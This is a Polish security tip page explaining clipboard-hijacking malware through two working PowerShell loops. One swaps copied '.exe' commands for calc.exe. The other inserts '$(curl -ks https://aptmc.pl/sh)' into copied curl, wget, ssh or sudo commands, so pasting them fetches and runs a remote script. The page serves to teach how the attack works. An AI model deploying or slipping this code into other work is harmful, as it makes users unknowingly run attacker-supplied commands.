alphasec academy

while(1) { if ((Get-Clipboard) -match "\.exe") { Set-Clipboard "calc.exe" } sleep 1 } - malutkie nadużycie schowka

Dodatkowe informacje

Ten prosty onliner to potencjalny malware, który możnaa dostarczyć w złośliwym makrze dokumentów Microsoft Office, jako złośliwy skrót LNK czy na sto innych sposobów. Trochę bardziej czytelna wersja może wyglądać jak poniżej.
while(1) { 
    if ((Get-Clipboard) -match "\.exe") { 
        Set-Clipboard "calc.exe" 
    } 
    sleep 1 
}
Co tam się dzieje? W nieskońćzonej pętli (
while(1) { ... }
) sprawdzamy czy w zawartości schowka (
Get-Clipboard
) znajduje się ciąg znaków .exe (
-match "\.exe"
), co sugeruje, że ktoś skopiował jakieś polecenie do uruchomienia w terminalu. Jeśli tak, podmieniana jest zawartość schowka na program złośliwy, w naszym wypadku kalkulator (
Set-Clipboard "calc.exe"
), co spowoduje, że użytkownik wklei do konsoli nie to, co tak naprawdę skopiował. W ostatnim koku zatrzymujemy program na 1 sekundę (
sleep 1
) po czym procedura startuje od początku.

A coś bardziej?

Nieco bardziej wyszukany malware mógłby wyglądać następująco:
for (;;) {
    $trigs = @("curl", "wget", "ssh", "sudo", "su -")
    $addon = '$(curl -ks https://aptmc.pl/sh)'
    $c = (get-clipboard -format Text|out-string).trim()
​
    $trigs | % {
        if ($c.Contains($_) -and -not $c.Contains($addon)) {
            set-clipboard "$addon;$c`r`n"
        }
    }
    start-sleep 2
} 
W tym wypadku sprawdzamy czy w schowku znajduje się jedno z typowych poleceń wklejanych w systemacah Unix/Linux/MacOS i jeśli tak, dodajemy do uruchomienia polecenie znajdujące się w zmiennej
$addon
, które uruchomi skrypt sh znajdujący się pod wskazanym adresem.

Przydatne linki


Subskrybuj

Jeśli chcesz otrzymywać nowe, mięsiste protipy na maila, a także zostać czasem powiadomiony o wartościowych wydarzeniach - dołącz do subskrybentów.